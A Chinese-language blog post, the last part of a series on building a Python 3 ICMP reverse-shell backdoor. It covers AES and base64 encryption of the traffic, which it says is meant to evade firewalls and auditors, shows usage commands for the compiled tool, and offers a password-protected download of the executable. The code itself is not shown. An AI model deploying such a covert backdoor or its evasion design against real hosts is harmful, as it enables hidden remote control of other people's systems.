Python3實現ICMP遠控后門(下)之“Boss”出場



ICMP后門

 

前言

 

第一篇:Python3實現ICMP遠控后門(上)

第二篇:Python3實現ICMP遠控后門(上)_補充篇

第三篇:Python3實現ICMP遠控后門(中)之“嗅探”黑科技

 

熬到最后一篇了,本系列的Boss要出場了,實現了一個有意思的ICMP后門,暫時使用pyinstaller打包成了一個win32和64版本,如下圖所示。

 

 

在前幾篇的基礎上,本篇擴展的知識點為數據的加密和解密,以及shell的調用,並最終生成一個可用的ICMP后門。本篇總共分為五節,需要花費5分鍾時間。

 

 

第一節 通信的加密與解密  

ICMP遠控采用的是ICMP協議進行通信,為了確保通信的保密性,防止防火牆或者審計人員探測出控制信息,決定對ICMP數據域的內容進行加密處理。

 

本次采用的是AES加密與base64編碼相結合的方式。AES為最常見的對稱加密算法(微信小程序加密傳輸就是用這個加密算法的)。對稱加密算法也就是加密和解密用相同的密鑰,具體的加解密流程如下圖: 

 

 

 

AES只是個基本算法,實現AES有若干模式。其中的CBC模式因為其安全性而被TLS(就是https的加密標准)和IPSec(win采用的)作為技術標准。簡單地說,CBC使用密碼和salt(起擾亂作用)按固定算法(md5)產生key和iv。然后用key和iv(初始向量,加密第一塊明文)加密(明文)和解密(密文)。

下面介紹ICMP遠控的加密解密方案,對於AES加解密,這里采用CBC模式,在Python3.5及之前版本使用pycrypto‎模塊,之后版本使用pycrytodome模塊。

加密

先是使用AES加密,對於傳入的加密內容長度必須為16的倍數,不足則補為16的倍數,我這里是設置的補為32的倍數。使用AES加密結束后,對加密后的內容進行base64編碼,以便傳輸。

 

 

解密

先是對加密后的內容進行base64解碼,接着在進行AES解密,最后去掉為了對齊填充的內容。

 

 

 

 

 

第二節 Shell調用

ICMP后門最基本的功能就是完成shell的調用,也就是經常說的反彈shell。反彈的shell即是受控端的shell,控制端通過ICMP協議將shell命令發送給受控端,受控端調用shell執行命令,並將命令結果通過ICMP協議回傳給控制端。Python中對shell的調用如下:

 

 

第三節 程序的整體結構

代碼中總共有三個類,父類Transfer,兩個子類client和server。Transfer類主要完成了socket初始化,加解密,icmp協議封包的通用功能。同時提供了一個reverse方法需要子類實現。

父類Transfer

 

子類client

 

 

子類server

 

 

第四節 使用方法

以我生成的icmpshell_win32.exe為例,為了方便演示,開啟了一個VM虛擬機,和主機組成局域網,VM虛擬機中運行的是win7 32位的系統,主機運行的是win7 64的系統。主機的ip為192.168.72.4,虛擬機的ip為192.168.72.133.

 

主機作為控制端,虛擬機作為受控端。首先在主機上運行如下命令(管理員權限運行)

icmpshell_win32.exe -s 192.168.72.4

其中 -s參數用於指明控制端的ip

 

在受控端運行如下命令(管理員權限運行)

icmpshell_win32.exe -l 192.168.72.133 -c 192.168.72.4

其中 -l參數用於指明受控端的ip,-c參數用於指明要連接的控制端的ip

 

受控端運行效果

 

 

控制端運行效果

 

執行dir命令和tasklist命令

 

 

whoami命令

 

 

 

icmpshell源代碼已經優先上傳到知識星球中,想看源代碼的朋友請關注我的知識星球。

如果大家只是想玩一下,給大家提供了icmpshell_win32.exe的下載鏈接。

https://pan.baidu.com/s/1xQRyxmq6PUw6qHMU9ZKZ4g 密碼:8rgu

最后

如果覺得本文還可以,一定記得推薦喲。歡迎關注我的公眾號,知識星球在菜單中。

回復【1】:領取 Python數據分析 教程大禮包
回復【2】:領取 Python Flask 全套教程 
回復【3】:領取 機器學習 全套教程 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM